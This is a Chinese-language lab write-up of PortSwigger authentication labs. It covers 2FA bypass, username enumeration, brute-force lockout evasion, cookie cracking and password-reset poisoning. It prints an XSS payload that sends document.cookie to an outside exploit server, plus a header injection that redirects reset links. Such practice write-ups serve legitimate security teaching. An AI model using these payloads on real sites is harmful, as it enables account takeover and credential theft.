跳到主要内容

身份验证漏洞

Authentication vulnerabilities

身份验证漏洞可能允许攻击者访问敏感数据和功能

password-reset-poisoning

什么是身份验证

身份验证是验证用户或客户端身份的过程。网站可能会暴露给任何连接到 Internet 的人。这使得强大的身份验证机制成为有效的 Web 安全不可或缺的一部分。

身份验证主要有三种类型:

  • 你知道的信息,例如密码或安全问题的答案。这些有时称为 “知识因子”。
  • 你拥有的东西,这是一个物理对象,例如手机或证券令牌。这些有时被称为“占有因素”。
  • 你是某事或某事。例如,您的生物特征或行为模式。这些有时被称为“固有因素”。

漏洞实验

枚举用户名和密码

image-20250504153513280

2FA(双重验证)简单绕过

自己的凭据: wiener:peter

受害者的凭据: carlos:montoya

登录自己的账户,发现需要输入安全码

image-20250504155653765

打开自己的邮箱,查看安全码

image-20250504155740406

登录成功,跳转到/my-account?id=wiener

image-20250504155823354

尝试登录受害者账户,到需要输入安全码时,修改url为/my-account?id=carlos

image-20250504155942974

成功绕过二次验证

image-20250504160105153

密码重置逻辑错误

自己的凭据: wiener:peter

受害者的用户名: carlos

点击忘记密码,填写自己的用户名

收到重置密码邮件

image-20250504160556251

访问链接,输入新密码,查看数据包

image-20250504161233156

修改用户名为carlos

成功修改密码,登录成功

image-20250504161321095

根据响应不同枚举用户名

登录,抓包,枚举用户名

image-20250504162741566

匹配关键字

image-20250504162858071

发现,用户aix,响应中缺少了一个.符号

image-20250504162931758

通过枚举该用户的密码,成功登录

username=aix&password=matthew

根据响应时间枚举用户名

自己的凭据: wiener:peter

将密码设置长一点(100个字符),枚举用户名,用XFF头更改IP地址,防止IP被封锁

image-20250504171101534

发现用户alwiener的响应时间大致相同,判断出al是一个有效用户

接着爆破密码

image-20250504171224473

al:123123

破解暴力保护、IP 封锁

如果连续提交 3 个错误的登录信息, IP 将被暂时阻止。但是,请注意,在达到此限制之前,可以通过登录自己的账户来重置失败登录尝试次数的计数器。

image-20250505160908723

每爆破一次就登录一次wiener用户,重置失败登录尝试次数

image-20250505163056962

最终拿到账户密码

username=carlos&password=joshua

通过帐户锁定进行用户名枚举

通过多次爆破一个用户,该用户会进行锁定

image-20250505204335383

使用Cluster bomb模式,密码随便填几个(5个以上),发现mysql账户被锁定

image-20250505205030563

然后爆破密码

image-20250505205315213

发现当账户输入正确密码时,访问错误信息处,是空的。一分钟以后登录用户即可

2FA 逻辑漏洞

自己的凭据: wiener:peter

受害者的用户名: carlos

登录成功以后,找到GET /login2中的cookie值,verify字段表示给该用户生成一个临时2FA code

image-20250505211528126

将值修改为carlos,为该用户生成一个临时code

然后抓取提交2FA code的数据包,将值修改为carlos,爆破code

image-20250505211946234

成功登录carlos用户

image-20250505211239837

爆破保持登录状态的cookie

自己的凭据: wiener:peter

受害者的用户名: carlos

通过上面的方法直接进行爆破,发现没有特别的响应

image-20250505212645169

登录自己的账户,勾选保持登录状态

image-20250505214208377

找到登录后的数据包,发现cookie中的stay-logged-in,用户名:md5(密码),然后再base64编码

image-20250505214304403

修改/my-account?id=wienerid值,然后爆破stay-logged-in

payload处理如下:

首先md5加密密码,添加carlos:前缀,然后base64编码

image-20250505214616308

image-20250505214731813

成功登录

离线密码破解

自己的凭据: wiener:peter

受害者的用户名: carlos

使用上一关的方法,发现不能失效了

image-20250505215301951

这个实验,密码hash存在cookie中,并且有一个xss漏洞在评论的功能

<script>document.location='//exploit-0aff009f04439b108145ddb00105000a.exploit-server.net/'+document.cookie</script>

image-20250506123751075

查看访问日志,成功拿到cookie

image-20250506123845069

md5可以解出来

image-20250506123950291

通过中间件进行密码重置中毒

用/户 carlos 会不小心点击他收到的电子邮件中的任何链接

POST /forgot-password数据包,支持 X-Forwarded-Host 头部,您可以使用它将动态生成的 reset 链接指向任意域。

指向自己的漏洞服务器

X-Forwarded-Host: exploit-0a81007603767cdb806c02c3015900e5.exploit-server.net

查看访问日志

image-20250506133714667

重置密码即可

通过密码更改暴力破解密码

自己的凭据: wiener:peter

受害者的用户名: carlos

登陆上自己的账号,发现有修改密码的功能

image-20250506133954085

修改username为carlos,观察响应,提示原密码不正确

image-20250506134802983

原密码正确,重复新密码不一致

image-20250506134914384

构造新密码不一致,通过爆破原密码,找到正确原密码

image-20250506135230036

carlo:biteme

密码爆破,每个请求多个凭据

提交数据是json格式

密码可以整一个数组直接全部提交

image-20250506140845008

数据转换脚本

def trans_file_string_to_be_string(path):
s=""
with open(path, 'r') as f1:
list1 = f1.readlines()
for i in range(0, len(list1)):
list1[i] = list1[i].rstrip('\n')
for a in list1:
s="\""+a+"\","+s
print(s)


trans_file_string_to_be_string("1.txt")

浏览器打开即可

image-20250506140956851

使用暴力攻击绕过 2FA

受害者凭据:carlos:montoya

登录账户,需要二次验证,输入二次错误代码,账户会被自动注销

所以,需要使用 Burp 的会话处理功能自动重新登录

image-20250506153330267

点击添加会话处理规则,设置范围,选择所有URLs

image-20250506153506484

开始添加规则的详细操作,选择运行一个宏

image-20250506153604258

之后添加一个宏

image-20250506153739618

选择需要自动化的数据包,长按ctrl多选,完成宏的创建

image-20250506153855024

这样,在每次请求POST /login2csrf,session都是刷新(有效的)

image-20250506160432399

漏洞点:每次登录POST /login生成一个2FA code,但是这个code在一段时间内均有效。而不是每次登录都会放弃之前的2FA code

image-20250506162420101

找到302状态码,替换session的值,成功登录